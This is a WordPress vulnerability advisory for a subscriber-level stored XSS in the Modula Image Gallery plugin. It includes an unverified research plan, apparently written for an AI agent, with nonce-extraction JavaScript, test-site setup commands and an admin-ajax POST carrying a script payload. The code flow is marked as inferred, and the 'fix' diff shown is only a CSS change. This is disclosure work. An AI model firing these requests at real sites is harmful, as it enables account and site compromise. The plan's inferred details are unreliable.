CVE-2026-42688

Modula Image Gallery – Photo Grid & Video Gallery <= 2.14.23 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.14.24
Patched in
7d
Time to patch

Description

The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.14.23 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.14.23
PublishedMay 26, 2026
Last updatedJune 1, 2026

What Changed in the Fix

Changes introduced in v2.14.24

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-42688 - Modula Image Gallery Stored XSS ## 1. Vulnerability Summary The **Modula Image Gallery** plugin for WordPress (versions <= 2.14.23) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's AJAX handlers—likely related to …

Show full research plan

Research Plan: CVE-2026-42688 - Modula Image Gallery Stored XSS

1. Vulnerability Summary

The Modula Image Gallery plugin for WordPress (versions <= 2.14.23) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's AJAX handlers—likely related to saving gallery item metadata or settings—which fail to perform adequate capability checks and do not sanitize user-supplied input. This allows an authenticated attacker with Subscriber-level permissions to inject arbitrary web scripts into gallery fields (such as titles, captions, or custom CSS), which are then executed when other users (including administrators) view the affected gallery or its settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: modula_save_item_data (inferred from common Modula AJAX patterns)
  • Vulnerable Parameter: title, caption, or alt (within the metadata array)
  • Authentication: Subscriber+ (any logged-in user)
  • Precondition: At least one gallery must exist on the site for the attacker to target an attachment_id (item ID).

3. Code Flow (Inferred)

  1. The attacker sends a POST request to admin-ajax.php with the action modula_save_item_data.
  2. The handler, likely defined in includes/admin/class-modula-admin.php, registers the hook:
    add_action( 'wp_ajax_modula_save_item_data', array( $this, 'save_item_data' ) );
  3. The save_item_data function retrieves the nonce and verifies it using check_ajax_referer( 'modula-nonce', 'nonce' ).
  4. The Flaw: The function fails to check for a capability like edit_posts or manage_options before processing data. It assumes that if the user is logged in and has a valid nonce, they are authorized to edit gallery items.
  5. The function takes raw input from $_POST['caption'] or $_POST['title'] and saves it to the database via update_post_meta( $item_id, 'modula_item_data', $metadata ).
  6. The modula_shortcode handler (likely in includes/public/class-modula-public.php) renders the gallery. It fetches the metadata and outputs the caption/title using echo without calling esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Modula localizes settings and nonces into the modula_vars or modula_admin JavaScript objects. To exploit this as a Subscriber, we must find a location where the plugin enqueues its scripts for authenticated users.

  1. Identify Shortcode: The plugin uses the [modula id="ID"] shortcode.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Gallery Test" --post_status=publish --post_content='[modula id="REPLACE_WITH_ACTUAL_ID"]'
    
  3. Navigate and Extract:
    Use the browser_navigate tool to the test page as the Subscriber user.
  4. Execute JavaScript:
    Use browser_eval to extract the nonce and item IDs:
    // Check common Modula localization objects
    const nonce = window.modula_vars?.nonce || window.modula_admin?.nonce;
    const items = jQuery('.modula-item').map((i, el) => jQuery(el).data('id')).get();
    ({ nonce, items });
    

5. Exploitation Strategy

Step 1: Preparation

  • As Admin, create a gallery and note the gallery ID.
  • Add an image to the gallery and note its attachment ID (Item ID).
  • Create a page containing the gallery shortcode.

Step 2: Payload Injection

Using the http_request tool, send the malicious update request as a Subscriber.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=modula_save_item_data&nonce=[NONCE]&attachment_id=[ITEM_ID]&title=SafeTitle&caption=<script>alert(document.domain)</script>
    
    (Note: The exact parameter names may vary; check the modula_save_item_data function in the core logic if available.)

Step 3: Triggering XSS

  • Navigate to the gallery page as any user (e.g., Admin).
  • The script should execute when the gallery item is rendered.

6. Test Data Setup

  1. Generate Gallery (Admin):
    # Create a gallery post
    GALLERY_ID=$(wp post create --post_type=modula-gallery --post_title="Target Gallery" --post_status=publish --porcelain)
    # Upload an image to serve as an item
    ITEM_ID=$(wp media import https://wordpress.org/screenshot.png --porcelain)
    # Add the item to the gallery meta (Simulated - Modula stores items in meta)
    wp post meta add $GALLERY_ID modula_gallery_items "$ITEM_ID"
    # Create a public page for the gallery
    wp post create --post_type=page --post_title="Public Gallery" --post_status=publish --post_content="[modula id='$GALLERY_ID']"
    
  2. Create Attacker (Subscriber):
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • The admin-ajax.php request should return a 200 OK status and a JSON response like {"success":true}.
  • The modula_item_data meta for the attachment will now contain the <script> tag.
  • Viewing the "Public Gallery" page will result in a JavaScript alert box appearing.

8. Verification Steps

  1. Check Database Meta:
    wp post meta get [ITEM_ID] modula_item_data
    
    Confirm the output contains the raw script tag.
  2. Check Frontend Output:
    Use http_request to fetch the gallery page and grep for the payload:
    http_request GET "http://localhost:8080/public-gallery/" | grep -F "<script>alert(document.domain)</script>"
    

9. Alternative Approaches

  • Custom CSS Injection: Modula often allows custom CSS per gallery. If the modula_save_settings AJAX action is also vulnerable, an attacker could inject XSS via the custom_css field using </style><script>....
  • Gutenberg Block Preview: As seen in assets/css/admin/modula-gutenberg.css, the plugin has a block preview. If a Subscriber can access the Gutenberg editor (e.g., via a post they authored), they might trigger the XSS in the editor preview.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Modula Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers due to a lack of capability checks and insufficient sanitization of gallery item metadata. This allows authenticated attackers with Subscriber-level permissions to inject malicious scripts into fields like captions or titles, which execute when the gallery is viewed by other users, including administrators.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/modula-best-grid-gallery/2.14.23/assets/css/admin/edit.css /home/deploy/wp-safety.org/data/plugin-versions/modula-best-grid-gallery/2.14.24/assets/css/admin/edit.css
--- /home/deploy/wp-safety.org/data/plugin-versions/modula-best-grid-gallery/2.14.23/assets/css/admin/edit.css	2026-04-09 11:47:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/modula-best-grid-gallery/2.14.24/assets/css/admin/edit.css	2026-04-28 09:09:52.000000000 +0000
@@ -243,7 +243,6 @@
 
 .modula-upsell-modal .button {
 	height: 31px;
-	line-height: 31px;
 	font-weight: bold;
 }

Exploit Outline

The exploit targets the `modula_save_item_data` AJAX action. An authenticated attacker with Subscriber privileges must first obtain a valid security nonce (usually found in the `modula_vars` or `modula_admin` JavaScript objects localized on pages where the plugin is active) and an existing `attachment_id`. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the action set to `modula_save_item_data`, the valid nonce, the target `attachment_id`, and a payload in the `caption` or `title` parameters containing arbitrary JavaScript (e.g., `<script>alert(1)</script>`). Because the handler fails to perform a capability check (such as `current_user_can('edit_posts')`) and does not sanitize the input before saving it to post meta, the script is stored and will execute whenever the gallery item is rendered on the frontend or viewed in the administrative dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.